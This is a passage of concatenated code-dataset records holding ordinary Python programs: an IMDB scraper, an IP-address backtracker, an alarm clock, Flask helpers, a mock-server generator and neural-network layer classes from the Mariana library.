\"+image+\"\\n\")\n except :\n image = None\n print(\"Image None\\n\")\n bio = get_actor_bio(director_url)\n print(\"Bio \"+bio+\"\\n\")\n if image is not None:\n print(\"writen\")\n directors_list[director_name] = [image, bio]\n xml.write(\"\\t\\t\\n\")\n xml.write(f\"\\t\\t\\t{director_name}\\n\")\n xml.write(f\"\\t\\t\\t{image}\\n\")\n xml.write(f\"\\t\\t\\t{bio}\\n\")\n xml.write(\"\\t\\t\\n\")\n\n actor_2_name = line[6].replace(\"\\\"\", \"\").strip()\n print(\"\\n--------------------------------------\\nactor name: \"+actor_2_name)\n if actor_2_name not in actors_list:\n actor_url = find_profile_link(movie_imdb_link, actor_2_name)\n if actor_url is not None:\n try:\n image = (BeautifulSoup(requests.get\n (actor_url).text, \"html.parser\").find\n ('img', {'id': 'name-poster'})['src'])\n print(\"Image \"+image+\"\\n\")\n except :\n image = None\n print(\"Image None\\n\")\n bio = get_actor_bio(actor_url)\n print(\"Bio \"+bio+\"\\n\")\n if image is not None:\n actors_list[actor_2_name] = [image, bio]\n xml.write(\"\\t\\t\\n\")\n xml.write(f\"\\t\\t\\t{actor_2_name}\\n\")\n xml.write(f\"\\t\\t\\t{image}\\n\")\n xml.write(f\"\\t\\t\\t{bio}\\n\")\n xml.write(\"\\t\\t\\n\")\n\n actor_1_name = line[10].replace(\"\\\"\", \"\").strip()\n print(\"\\n--------------------------------------\\nactor name: \"+actor_1_name)\n if actor_1_name not in actors_list:\n actor_url = find_profile_link(movie_imdb_link, actor_1_name)\n if actor_url is not None:\n try:\n image = (BeautifulSoup(requests.get\n (actor_url).text, \"html.parser\").find\n ('img', {'id': 'name-poster'})['src'])\n print(\"Image \"+image+\"\\n\")\n except :\n image = None\n print(\"Image None\\n\")\n bio = get_actor_bio(actor_url)\n print(\"Bio \"+bio+\"\\n\")\n if image is not None:\n actors_list[actor_1_name] = [image, bio]\n xml.write(\"\\t\\t\\n\")\n xml.write(f\"\\t\\t\\t{actor_1_name}\\n\")\n xml.write(f\"\\t\\t\\t{image}\\n\")\n xml.write(f\"\\t\\t\\t{bio}\\n\")\n xml.write(\"\\t\\t\\n\")\n\n\n actor_3_name = line[14].replace(\"\\\"\", \"\").strip()\n print(\"\\n--------------------------------------\\nactor name: \"+actor_3_name)\n if actor_3_name not in actors_list:\n actor_url = find_profile_link(movie_imdb_link, actor_3_name)\n if actor_url is not None:\n try:\n image = (BeautifulSoup(requests.get\n (actor_url).text, \"html.parser\").find\n ('img', {'id': 'name-poster'})['src'])\n print(\"Image \"+image+\"\\n\")\n except:\n print(\"Image None\\n\")\n image = None\n bio = get_actor_bio(actor_url)\n print(\"Bio \"+bio+\"\\n\")\n if image is not None:\n actors_list[actor_3_name] = [image, bio]\n xml.write(\"\\t\\t\\n\")\n xml.write(f\"\\t\\t\\t{actor_3_name}\\n\")\n xml.write(f\"\\t\\t\\t{image}\\n\")\n xml.write(f\"\\t\\t\\t{bio}\\n\")\n xml.write(\"\\t\\t\\n\")\n\n csv.close()\n xml.write(\"\\n\")\n xml.close()\n\n\ndef find_profile_link(url, actorname):\n soup= (BeautifulSoup(requests.get(url).text, \"html.parser\"))\n\n divs = soup.find_all('div', {'class':'credit_summary_item'})\n\n mydiv = None\n\n for div in divs:\n if \"Stars:\" in div.h4.text:\n mydiv = div\n\n actors = mydiv.find_all('a')\n\n for a in actors:\n if actorname in a.text:\n global count\n count += 1\n print(\"actor \" + actorname + \"count: \" + str(count))\n return \"http://www.imdb.com\" + a['href']\n print(\"None actor\")\n return None\n\ndef find_dir_profile_link(url, dirname):\n soup= (BeautifulSoup(requests.get(url).text, \"html.parser\"))\n\n divs = soup.find_all('div', {'class':'credit_summary_item'})\n\n mydiv = None\n\n for div in divs:\n if \"Director:\" in div.h4.text:\n mydiv = div\n\n if mydiv is not None:\n a = mydiv.find('a')\n if dirname in a.text:\n global count\n count += 1\n print(\"dir \" + dirname + \"count: \" + str(count))\n return \"http://www.imdb.com\" + a['href']\n print(\"None director\")\n\n return None\n\ndef get_actor_bio(url):\n link_bio = url + \"bio\"\n bio_text = (BeautifulSoup(requests.get\n (link_bio).text, \"html.parser\").find\n ('div', {'class': 'soda odd'}))\n\n bio = \"\"\n if bio_text is not None:\n bio_text = bio_text.find_all(\"p\")\n for text in bio_text:\n bio += text.text\n\n return bio\n\nif __name__ == '__main__':\n main()\n","sub_path":"xml/actorsxml.py","file_name":"actorsxml.py","file_ext":"py","file_size_in_byte":7089,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"330354030","text":"#!/usr/bin/python\n'''\nCopyright 2018 Albert Monfa\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n'''\n\nclass ObjectBase(object):\n\n __name__ = None\n\n def __str__(self):\n result = dict()\n for var in vars(self).keys():\n if callable(vars(self)[var]):\n result[var] = vars(self)[var]\n continue\n result[var] = str(vars(self)[var])\n return str(result)\n","sub_path":"src/core/base/ObjectBase.py","file_name":"ObjectBase.py","file_ext":"py","file_size_in_byte":900,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"563394115","text":"import io,os,sys\r\n# input = io.BytesIO(os.read(0,os.fstat(0).st_size)).readline\r\ns = input()\r\ndef Check(A,s):\r\n result = [(s[0:A[0]]),(s[A[0]:A[1]]),(s[A[1]:A[2]]),(s[A[2]:])]\r\n for i in result:\r\n if len(i)> 1 and i[0]=='0':\r\n return False\r\n if int(s[0:A[0]]) <= 255 and int(s[A[1]:A[2]]) <= 255 and int(s[A[0]:A[1]]) <= 255 and int(s[A[2]:]) <= 255:\r\n return True\r\n return False\r\ndef BackTracking(i,s,A): \r\n if i == 3 : \r\n if Check(A,s):\r\n result = [(s[0:A[0]]),(s[A[0]:A[1]]),(s[A[1]:A[2]]),(s[A[2]:])]\r\n print('.'.join(map(str,result))) \r\n else:\r\n Si = range(A[i-1]+1,min(len(s),A[i-1]+4))\r\n for x in Si:\r\n A[i] = x \r\n BackTracking(i+1,s,A)\r\n\r\nA = [0,0,0,0]\r\nn = len(s)\r\nif 4<= n and n<=12:\r\n BackTracking(0,s,A)","sub_path":"Seminar/Problems/IP address/IP-Backtracking.py","file_name":"IP-Backtracking.py","file_ext":"py","file_size_in_byte":876,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"227851610","text":"from __future__ import annotations\n\nfrom kit import implements\n\nfrom conduit.data import CdtDataModule, TrainValTestSplit\nfrom conduit.data.datasets.tabular.dummy import RandomTabularDataset\n\n\nclass DummyTabularDataModule(CdtDataModule):\n def __init__(\n self, num_samples: int, num_disc_features: int, num_cont_features: int, seed: int = 8\n ) -> None:\n super().__init__()\n self.num_samples = num_samples\n self.num_disc_features = num_disc_features\n self.num_cont_features = num_cont_features\n self.seed = seed\n\n @implements(CdtDataModule)\n def _get_splits(self) -> TrainValTestSplit:\n # Split the data randomly according to val- and test-prop\n data = RandomTabularDataset(\n num_cont_features=self.num_cont_features,\n num_disc_features=self.num_disc_features,\n num_samples=self.num_samples,\n seed=self.seed,\n )\n val_data, test_data, train_data = data.random_split(props=(self.val_prop, self.test_prop))\n return TrainValTestSplit(train=train_data, val=val_data, test=test_data)\n","sub_path":"conduit/data/datamodules/tabular/dummy.py","file_name":"dummy.py","file_ext":"py","file_size_in_byte":1109,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"28101572","text":"import winsound, time, os, platform\nimport time\nfrom time import strftime\n#function definition sound\ndef sound_fun():\n\tfor i in range(5): # number of beep repeatition\t\t\n\t\tfor j in range(9): # how long the beep is\t\t\t\n\t\t\twinsound.MessageBeep(-1) \t\t\n\t\ttime.sleep(2) # interval between beeps\n\ndef alarm_fun(n):\n\tprint()\n\ttime.sleep(n) \n\tsound_fun()\n\t\nprint(\"Press 1 to set alarm::\")\n\ndef input_fun(user_input):\t\n\tif user_input == '1':\n\t\t#get local system time.............\n\t\thours = int(input(\"Hours: \"))\n\t\tminutes = int(input(\"Minutes: \"))\n\t\tseconds = int(input(\"Seconds: \"))\n\t\t\n\t\t#print (time.strftime(\"%H:%M:%S\")) use to print system time\n\t\tH1=int(strftime(\"%H\"))\n\t\tM1=int(strftime(\"%M\"))\n\t\tS1=int(strftime(\"%S\"))\n\t\tcurrent_time = ((H1*60)*60) + (M1*60) + S1 #localtime in seconds\n\t\talarm_time = ((hours*60)*60) + (minutes*60) + seconds #alarm time in seconds\n\t\twait_time = alarm_time - current_time #wait time in seconds\n\t\t#print(wait_time)\n\t\talarm_fun(wait_time)\n\telse:\t\t\n\t\ttry:\n\t\t\tos.system('cls') # for windows os\n\t\t\tmain()\t\t\t\n\t\texcept:\n\t\t\tos.system('clear') # for linux os\n\t\t\tmain()\n\ndef main():\n\tprint(\"Enter the alarm time in HH:MM:SS format ::--\")\n\tmain_input = input(\": \")\n\tinput_fun(main_input)\n\treturn;\n\nmain()\n","sub_path":"alarm.py","file_name":"alarm.py","file_ext":"py","file_size_in_byte":1251,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"366760080","text":"\"\"\"Quiz 1\n\n1. When do we make a new frame in an environment diagram?\n\nWe make a new frame whenever we call a user-defined function. \nThis means we don't create frames for builtin function calls like abs(x) and 3 + 4. \nWe also don't create frames for imported functions!\n\n2. Implement the function nearest_two, which takes a positive \nnumber x as input, and returns the power of two \n(..., 1/8, 1/4, 1/2, 1, 2, 4, 8, ...) that is nearest to x. \nIf there is a tie, return the larger value.\"\"\"\n\ndef nearest_two(x):\n \"\"\"Returns the power of two that is nearest to x.\n >>> nearest_two(8)\n 8.0\n >>> nearest_two(11.5) # closer to 8 than to 16\n 8.0\n >>> nearest_two(0.75) # tie between 0.5 and 1\n 1.0\n \"\"\"\n power_of_two = 1.0\n\n if x < 1:\n \tfactor = 0.5\n else: \n \tfactor = 2.0\n while abs(power_of_two * factor - x) < abs(power_of_two - x):\n \tpower_of_two *= factor\n\n if abs(power_of_two * 2 - x) == abs(power_of_two - x):\n \tpower_of_two *= 2\n\n return power_of_two\n\n\"\"\"Question3. \nFill in the blanks so that cs and 61a alternate printing for a total\n of n times.\n\"\"\"\ndef cs61a(n):\n \"\"\"\n >>> cs61a(3)\n cs\n 61a\n cs\n >>> cs61a(2)\n cs\n 61a\n \"\"\"\n i = 0\n while i < n:\n if i % 2 == 0:\n print(\"cs\")\n else:\n print(\"61a\")\n i += 1","sub_path":"quizzes/quiz01.py","file_name":"quiz01.py","file_ext":"py","file_size_in_byte":1341,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"128421525","text":"import os\r\nimport secrets\r\nfrom PIL import Image\r\nfrom flask_mail import Message\r\n\r\nfrom artlantis import mail\r\n\r\ndef save_picture(form_picture, picture_dir):\r\n random_hex = secrets.token_hex(8)\r\n _, f_ext = os.path.splitext(form_picture.filename)\r\n picture_fn = random_hex + f_ext\r\n picture_path = os.path.join(picture_dir, picture_fn)\r\n \r\n if picture_dir == 'static/profile_pics':\r\n output_size = (125, 125)\r\n else:\r\n output_size = (800, 800)\r\n i = Image.open(form_picture)\r\n i.thumbnail(output_size)\r\n i.save(picture_path)\r\n\r\n return picture_fn\r\n\r\ndef send_mail(recipients, sender, subject, body):\r\n msg = Message(\r\n subject, body=body, sender=sender, recipients=recipients)\r\n mail.send(msg)","sub_path":"src/artlantis/views/helper_fns.py","file_name":"helper_fns.py","file_ext":"py","file_size_in_byte":754,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"13888380","text":"from .habitat import Habitat\nfrom movements import ISwimmers\n\n\nclass IAquarium(Habitat):\n def __init__(self, name):\n super().__init__(name, type_str=\"swimmer\")\n self.name = name\n\n # Duck typing check\n def add_swimmer_pythonic(self, animal):\n try:\n if animal.swim_speed > -1:\n self.animals.add(animal)\n except AttributeError as ex:\n print(\n f'{animal} can\\'t swim, so please do not try to put it in the {self.name} habitat')\n\n # Actual typing check\n def add_swimmer_type_check(self, animal):\n if isinstance(animal, ISwimmers):\n self.animals.add(animal)\n else:\n print(\n f'{animal} can\\'t swim, so please do not try to put it in the {self.name} habitat')\n","sub_path":"habitats/aquarium.py","file_name":"aquarium.py","file_ext":"py","file_size_in_byte":798,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"349248615","text":"# -*- coding:utf-8 -*-\n\n# @Author : Huang Liping\n# @Email : liping.a.huang@ericsson.com\n# @Date : 2019/11/3\n# @File : auto_grenerate.py \n# @Desc :\n\nimport os\nimport json\n\n\ndef load_json(file_path):\n with open(file_path, 'r') as f:\n try:\n datas = json.load(f)\n except Exception as e:\n raise Exception('Moco error: The file content format is not json!')\n print(e)\n return datas\n\n\ndef format_verify(datas):\n if type(datas) != list:\n raise Exception('Moco error: The file content format is not a list!')\n for data in datas:\n if 'path' not in data:\n raise Exception('')\n if 'methods' not in data:\n raise Exception('')\n if 'status_code' not in data:\n raise Exception('')\n if 'body' not in data:\n raise Exception('')\n\n\ndef read_file(file_path):\n with open(file_path, 'r') as f:\n content = f.read()\n return content\n\n\ndef write_file(file_path, content):\n with open(file_path, 'w+') as f:\n f.write(content)\n return True\n\n\ndef add_something_to_file(file_path, content):\n with open(file_path, 'a') as f:\n f.write(content)\n return True\n\n\ndef read_moco_statics(root_dir, files_lst):\n json_files_lst = []\n for file in files_lst:\n file_path = root_dir + \"/mocos/static/\" + file\n if '.json' in file:\n json_files_lst = json_files_lst + load_json(file_path)\n else:\n raise Exception('Moco error: %s, the file\\'s name must be json files!' % file_path)\n\n # print(json_files_lst)\n return json_files_lst\n\n\ndef add_request_lst_to_file(file_path, url_path):\n content = '''\nmoco_box_dic['%s'] = []\n ''' % url_path\n if not add_something_to_file(file_path, content):\n raise Exception('Moco error: add request list to %s was fail!' % file_path)\n\n\ndefault_headers = {'content-type': 'application/json; charset=UTF-8'}\n\n\ndef add_moco_to_file(file_path, counter, path, methods, status_code, body, header=default_headers):\n template = '''\n@app.route('{path}', methods={methods})\ndef normal_{counter}():\n print_request(request.headers, request.json)\n moco_box_dic['{path}'].append({{'headers': request.headers.to_list(), 'body': request.json}})\n print(\"moco_box_dic: \" + str(moco_box_dic))\n return jsonify({body}), {status_code}, {header}\n\n '''.format(counter=str(counter), path=str(path), methods=str(methods), body=str(body), status_code=str(status_code),\n header=str(header))\n if not add_something_to_file(file_path, template):\n raise Exception('Moco error: add moco to %s was fail!' % file_path)\n\n\ndef add_app_exe_statement_to_file(app_file_path, port):\n content = '''\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port={port}, debug=False)\n '''.format(port=str(port))\n add_something_to_file(app_file_path, content)\n\n\ndef generate_app_file(root_dir, port, moco_files_lst):\n template_file_path = root_dir + '/mocos/app_template.py'\n app_file_path = root_dir + '/mocos/app.py'\n mocos = read_moco_statics(root_dir, moco_files_lst)\n content = read_file(template_file_path)\n if write_file(app_file_path, content):\n for i in range(len(mocos)):\n add_request_lst_to_file(app_file_path, mocos[i]['path'])\n if 'headers' not in mocos[i].keys():\n add_moco_to_file(app_file_path, i, mocos[i]['path'], mocos[i]['methods'], mocos[i]['status_code'],\n mocos[i]['body'])\n else:\n add_moco_to_file(app_file_path, i, mocos[i]['path'], mocos[i]['methods'], mocos[i]['status_code'],\n mocos[i]['body'], mocos[i]['headers'])\n add_app_exe_statement_to_file(app_file_path, port)\n print('generate app.py success!')\n\n\nif __name__ == '__main__':\n # read_templates('C:/H/moco/templates')\n # generate_app_file('C:/H/moco/')\n generate_app_file('/opt/real_py_if_test', 81, [\"gcm.json\"])","sub_path":"pyif/mocos/auto_grenerate.py","file_name":"auto_grenerate.py","file_ext":"py","file_size_in_byte":4017,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"614441719","text":"from abc import ABCMeta#, abstractmethod\nfrom collections import OrderedDict\n\n# import types\nimport theano, numpy, time\nimport theano.tensor as tt\n\nimport Mariana.activations as MA\nimport Mariana.initializations as MI\nimport Mariana.settings as MSET\n\nimport Mariana.network as MNET\nimport Mariana.wrappers as MWRAP\nimport Mariana.candies as MCAN\n\n__all__=[\"Layer_ABC\", \"WeightBiasOutput_ABC\", \"WeightBias_ABC\", \"Output_ABC\", \"Input\", \"Hidden\", \"Composite\", \"Embedding\", \"SoftmaxClassifier\", \"Regression\", \"Autoencode\"]\n\nclass Layer_ABC(object) :\n \"The interface that every layer should expose\"\n\n __metaclass__=ABCMeta\n\n def __new__(cls, *args, **kwargs) :\n import inspect\n \n obj=super(Layer_ABC, cls).__new__(cls, *args, **kwargs)\n # argNames=inspect.getargspec(obj.__init__)[0][1:] #remove self\n \n finalKwargs={}\n for k, v in kwargs.iteritems() :\n finalKwargs[k]=v\n\n obj.creationArguments={\n \"args\": args,\n \"kwargs\": finalKwargs,\n }\n\n return obj\n\n def __init__(self,\n size,\n layerTypes,\n activation=MA.Pass(),\n regularizations=[],\n initializations=[],\n learningScenario=None,\n decorators=[],\n name=None\n ):\n\n self.isLayer=True\n\n #a unique tag associated to the layer\n self.appelido=numpy.random.random()\n\n if name is not None :\n self.name=name\n else :\n self.name=\"%s_%s\" %(self.__class__.__name__, self.appelido)\n\n self.types=layerTypes\n\n self.nbInputs=None\n self.inputs=None\n self.nbOutputs=size\n self.outputs=None # this is a symbolic var\n self.testOutputs=None # this is a symbolic var\n\n self.preactivation_outputs=None\n self.preactivation_testOutputs=None\n\n self.activation=activation\n self.regularizationObjects=regularizations\n self.regularizations=[]\n self.decorators=decorators\n self.initializations=initializations\n self.learningScenario=learningScenario\n\n self.network=MNET.Network()\n self.network._addLayer(self)\n\n self._inputRegistrations=set()\n\n self._mustInit=True\n self._mustReset=True\n self._decorating=False\n\n self.parameters = {}\n\n def getParameterDict(self) :\n \"\"\"returns the layer's parameters as dictionary\"\"\"\n from theano.compile import SharedVariable\n res={}\n for k, v in self.parameters.iteritems() :\n if isinstance(v, SharedVariable) :\n res[k]=v\n return res\n\n def getParameters(self) :\n \"\"\"returns the layer's parameters\"\"\"\n return self.getParameterDict().values()\n\n def getParameterNames(self) :\n \"\"\"returns the layer's parameters names\"\"\"\n return self.getParameterDict().keys()\n\n def getParameterShape(self, param) :\n \"\"\"Should return the shape of the parameter. This has to be implemented in order for the initializations to work (and maybe some other stuff as well)\"\"\"\n raise NotImplemented(\"Should be implemented in child\")\n\n def getOutputShape(self):\n \"\"\"returns the shape of the outputs\"\"\"\n return (self.nbOutputs, )\n\n def clone(self, **kwargs) :\n \"\"\"Returns a free layer with the same parameters.\"\"\"\n creationArguments=dict(self.creationArguments[\"kwargs\"])\n creationArguments.update(kwargs)\n newLayer=self.__class__(*self.creationArguments[\"args\"], **creationArguments)\n \n for k, v in self.getParameterDict().iteritems() :\n setattr(newLayer, k, v)\n newLayer._mustReset=False\n return newLayer\n\n def _registerInput(self, inputLayer) :\n \"Registers a layer as an input to self. This function is first called by input layers. Initialization can only start once all input layers have been registered\"\n self._inputRegistrations.add(inputLayer.name)\n\n def _whateverFirstInit(self) :\n \"\"\"The first function called during initialization. Does nothing by default, you can put in it\n whatever pre-action you want performed on the layer prior to normal initialization\"\"\"\n pass\n\n def _whateverLastInit(self) :\n \"\"\"The last function called during initialization. Does nothing by default, you can put in it\n whatever post-action you want performed on the layer post normal initialization\"\"\"\n pass\n \n def _setShape(self) :\n \"\"\"last chance to define the layer's shape before parameter initialization\"\"\"\n pass\n\n def _initParameters(self, forceReset=False) :\n \"\"\"creates the parameters if necessary (self._mustRest == True)\"\"\"\n self._setShape()\n if self._mustReset or forceReset : \n for init in self.initializations :\n init.apply(self)\n self._mustReset=False\n\n def initParameter(self, parameter, value) :\n \"\"\"Initialize a parameter, raise value error if already initialized\"\"\"\n if parameter not in self.parameters :\n raise ValueError(\"Layer '%s' has no parameter '%s'. Add it to self.parameters dict and give it a None value.\" % (self.name, parameter) )\n \n if self.parameters[parameter] is None:\n self.parameters[parameter] = value\n else :\n raise ValueError(\"Parameter '%s' of layer '%s' has already been initialized\" % (parameter, self.name) )\n\n def updateParameter(self, parameter, value) :\n \"\"\"Update the value of an already initialized parameter. Raise value error if the parameter has not been initialized\"\"\"\n if parameter not in self.getParameterDict().keys() :\n raise ValueError(\"Parameter '%s' has not been initialized as parameter of layer '%s'\" % (parameter, self.name) )\n else :\n self.parameters[parameter] = value\n\n #theano hates abstract methods defined with a decorator\n def _setOutputs(self) :\n \"\"\"Defines the outputs and testOutputs of the layer before the application of the activation function. This function is called by _init() ans should be written in child.\"\"\"\n raise NotImplemented(\"Should be implemented in child\")\n\n def _decorate(self) :\n \"\"\"applies decorators\"\"\"\n for d in self.decorators :\n d.apply(self)\n\n def _activate(self) :\n \"\"\"applies activation\"\"\"\n self.preactivation_outputs=self.outputs\n self.preactivation_testOutputs=self.testOutputs\n\n self.outputs=self.activation.apply(self, self.preactivation_outputs, 'training')\n self.testOutputs=self.activation.apply(self, self.preactivation_testOutputs, 'testing')\n\n def _listRegularizations(self) :\n self.regularizations=[]\n for reg in self.regularizationObjects :\n self.regularizations.append(reg.getFormula(self))\n\n def _setTheanoFunctions(self) :\n \"\"\"Creates propagate/propagateTest theano function that returns the layer's outputs.\n propagateTest returns the testOutputs, some decorators might not be applied.\n This is called after decorating\"\"\"\n self.propagate=MWRAP.TheanoFunction(\"propagate\", self, [(\"outputs\", self.outputs)], allow_input_downcast=True)\n self.propagateTest=MWRAP.TheanoFunction(\"propagateTest\", self, [(\"outputs\", self.testOutputs)], allow_input_downcast=True)\n \n # self.propagate_preAct=MWRAP.TheanoFunction(\"propagate_preAct\", self, [(\"outputs\", self.preactivation_outputs)], allow_input_downcast=True)\n # self.propagateTest_preAct=MWRAP.TheanoFunction(\"propagateTest_preAct\", self, [(\"outputs\", self.preactivation_testOutputs)], allow_input_downcast=True)\n\n def _parametersSanityCheck(self) :\n \"perform basic parameter checks on layers, automatically called on initialization\"\n for k, v in self.getParameterDict().iteritems() :\n try :\n if None in self.getParameterShape(k) :\n raise ValueError(\"Parameter '%s' of layer '%s' has invalid shape %s. That can cause initializations to crash.\" % (k, self.name, self.getParameterShape(k)))\n except :\n message=\"Warning! Unable to get shape of parameter '%s' of layer '%s'. That can cause initializations to crash.\" % (k, self.name)\n self.network.logLayerEvent(self, message, {})\n if MSET.VERBOSE :\n print(message)\n\n def _outputsSanityCheck(self) :\n \"perform basic output checks on layers, automatically called on initialization\"\n try :\n if self.testOutputs is None :\n raise AttributeError(\"Attribute 'testOutputs' of layer '%s' has None value. This attribute defines the test output of the layer, usually without regularizations\" % self.name)\n except AttributeError :\n raise AttributeError(\"Attribute 'testOutputs' of layer '%s' is not defined. This attribute defines the test output of the layer, usually without regularizations\" % self.name)\n\n try :\n if self.outputs is None :\n raise AttributeError(\"Attribute 'outputs' of layer '%s' has None value. This attribute defines the train output of the layer, usually with regularizations\" % self.name)\n except AttributeError :\n raise AttributeError(\"Attribute 'outputs' of layer '%s' is not defined. This attribute defines the train output of the layer, usually with regularizations\" % self.name)\n\n def _initA(self) :\n \"\"\"Initialize the essential attributes of the layer such as: outputs and activations. This function is automatically called before train/test etc...\"\"\"\n if ( self._mustInit ) and ( len(self._inputRegistrations) == len(self.network.inConnections[self]) ) :\n self._whateverFirstInit()\n self._parametersSanityCheck()\n self._initParameters()\n self._setOutputs()\n self._decorate()\n self._outputsSanityCheck()\n self._activate()\n \n for l in self.network.outConnections[self] :\n l._registerInput(self)\n l._initA()\n self._mustInit=False\n\n def _initB(self) :\n \"\"\"Initialize the fancy attributes of the layer such as: regularizers, decorators and theano functions. This function is automatically called before train/test etc...\"\"\"\n self._listRegularizations()\n self._setTheanoFunctions()\n self._whateverLastInit()\n \n def _maleConnect(self, layer) :\n \"\"\"What happens to A when A > B\"\"\"\n pass\n\n def _femaleConnect(self, layer) :\n \"\"\"What happens to B when A > B\"\"\"\n pass\n\n def connect(self, layer) :\n \"\"\"Connect the layer to another one. Using the '>' operator to connect two layers actually calls this function.\n This function returns the resulting network\"\"\"\n self._maleConnect(layer)\n layer._femaleConnect(self)\n self.network.merge(self, layer)\n\n return self.network\n\n def _dot_representation(self) :\n \"returns the representation of the node in the graph DOT format\"\n return '[label=\"%s: %s\"]' % (self.name, self.getOutputShape())\n\n def __gt__(self, pathOrLayer) :\n \"\"\"Alias to connect, make it possible to write things such as layer1 > layer2\"\"\"\n return self.connect(pathOrLayer)\n\n def __repr__(self) :\n return \"(Mariana %s '%s': %sx%s )\" % (self.__class__.__name__, self.name, self.nbInputs, self.nbOutputs)\n\n def __len__(self) :\n return self.nbOutputs\n\n def __setattr__(self, k, v) :\n if k == \"name\" and hasattr(self, k) :\n if len(self.network.layers) > 1 :\n raise ValueError(\"You can't change the name of a connected layer\")\n else :\n object.__setattr__(self, k, v)\n self.network=MNET.Network()\n self.network._addLayer(self)\n \n try :\n deco=self._decorating\n except AttributeError:\n object.__setattr__(self, k, v)\n return\n\n if deco :\n var=getattr(self, k)\n try :\n var.set_value(numpy.asarray(v, dtype=theano.config.floatX), borrow=True)\n return\n except AttributeError :\n pass\n\n object.__setattr__(self, k, v)\n \n # def __getattr__(self, k) :\n # net=object.__getattr__(self, \"network\")\n # net.init()\n # return object.__getattr__(self, k)\n\nclass Input(Layer_ABC) :\n \"An input layer\"\n def __init__(self, size, name=None, **kwargs) :\n super(Input, self).__init__(size, layerTypes=[MSET.TYPE_INPUT_LAYER], name=name, **kwargs)\n self.nbInputs=size\n self.inputs=tt.matrix(name=\"inp_\"+self.name)\n\n def _setOutputs(self) :\n \"initializes the output to be the same as the inputs\"\n self.outputs=self.inputs\n self.testOutputs=self.inputs\n\n def _femaleConnect(self, *args) :\n raise ValueError(\"Nothing can be connected to an input layer\")\n\nclass Embedding(Layer_ABC) :\n \"\"\"Embeddings are learned representations of the inputs that are much loved in NLP.\n This layer will take care of creating the embeddings and optimizing them. It can either be used as an input layer or as hidden layer\"\"\"\n\n def __init__(self, nbDimentions, dictSize, size=None, zeroForNull=False, initializations=[MI.SmallUniformEmbeddings()], **kwargs) :\n \"\"\"\n :param int nbDimentions: the number of dimentions in wich to encode each word.\n :param int dictSize: the total number of words.\n :param bool zeroForNull: if True the dictionnary will be augmented by one elements at te begining (index=0) whose parameters will always be vector of zeros. This can be used to selectively mask some words in the input, but keep in mind that the index for the first word is moved to one.\n :param int size: the size of the input vector (if your input is a sentence this should be the number of words in it). You don't have to provide a value in the embedding layer is a hidden layer\n \"\"\"\n\n super(Embedding, self).__init__(size, layerTypes=[MSET.TYPE_INPUT_LAYER], initializations=initializations, **kwargs)\n\n self.zeroForNull=zeroForNull\n\n self.dictSize=dictSize\n self.nbDimentions=nbDimentions\n\n self.parameters={\n \"embeddings\":None,\n \"fullEmbeddings\":None\n }\n\n self.inputs=None\n self.testInputs=None\n \n if size is not None :\n self.nbInputs=size\n self.nbOutputs=self.nbDimentions*self.nbInputs \n \n def _femaleConnect(self, layer) :\n self.types=[MSET.TYPE_HIDDEN_LAYER]\n if not hasattr(self, \"nbInputs\") or self.nbInputs is None :\n self.nbInputs=layer.nbOutputs\n self.nbOutputs=self.nbDimentions*self.nbInputs\n elif self.nbInputs != layer.nbOutputs :\n raise ValueError(\"All layers connected to '%s' must have the same number of outputs. Got: %s, previously had: %s\" % (self.name, layer.nbOutputs, self.nbInputs) )\n \n def getParameterShape(self, param) :\n if param == \"embeddings\" :\n return (self.dictSize, self.nbDimentions)\n else :\n raise ValueError(\"Unknown parameter: %s\" % param)\n\n def getEmbeddings(self, idxs=None) :\n \"\"\"returns the embeddings.\n\n :param list idxs: if provided will return the embeddings only for those indexes\n \"\"\"\n if not self.parameters[\"fullEmbeddings\"] :\n raise ValueError(\"It looks like the network has not been initialized yet. Try calling self.network.init() first.\")\n\n try :\n fct=self.parameters[\"fullEmbeddings\"].get_value\n except AttributeError :\n fct=self.parameters[\"fullEmbeddings\"].eval\n\n if idxs :\n return fct()[idxs]\n return fct()\n\n def _setOutputs(self) :\n if len(self.network.inConnections[self]) == 0 :\n if self.inputs is None :\n self.inputs=tt.imatrix(name=\"embInp_\" + self.name)\n self.testInputs=self.inputs\n else :\n for layer in self.network.inConnections[self] :\n if layer.outputs.dtype.find(\"int\") != 0 :\n outs=tt.cast(layer.outputs, dtype=MSET.INTX)\n testOuts=tt.cast(layer.testOutputs, dtype=MSET.INTX)\n else :\n outs=layer.outputs\n testOuts=layer.testOutputs\n\n if self.inputs is None : \n self.inputs=outs\n self.testInputs=testOuts\n else :\n self.inputs+=outs\n self.testInputs+=testOuts\n\n if self.zeroForNull :\n self.null=numpy.zeros((1, self.nbDimentions))\n self.parameters[\"fullEmbeddings\"]=tt.concatenate( [self.null, self.parameters[\"embeddings\"]], axis=0)\n else :\n self.parameters[\"fullEmbeddings\"]=self.parameters[\"embeddings\"]\n del(self.parameters[\"embeddings\"])\n\n self.preOutputs=self.parameters[\"fullEmbeddings\"][self.inputs]\n self.outputs=self.preOutputs.reshape((self.inputs.shape[0], self.nbOutputs))\n self.testOutputs=self.preOutputs.reshape((self.testInputs.shape[0], self.nbOutputs))\n\nclass Composite(Layer_ABC):\n \"\"\"A Composite layer concatenates the outputs of several other layers\n for example is we have::\n\n c=Composite()\n layer1 > c\n layer2 > c\n\n The output of 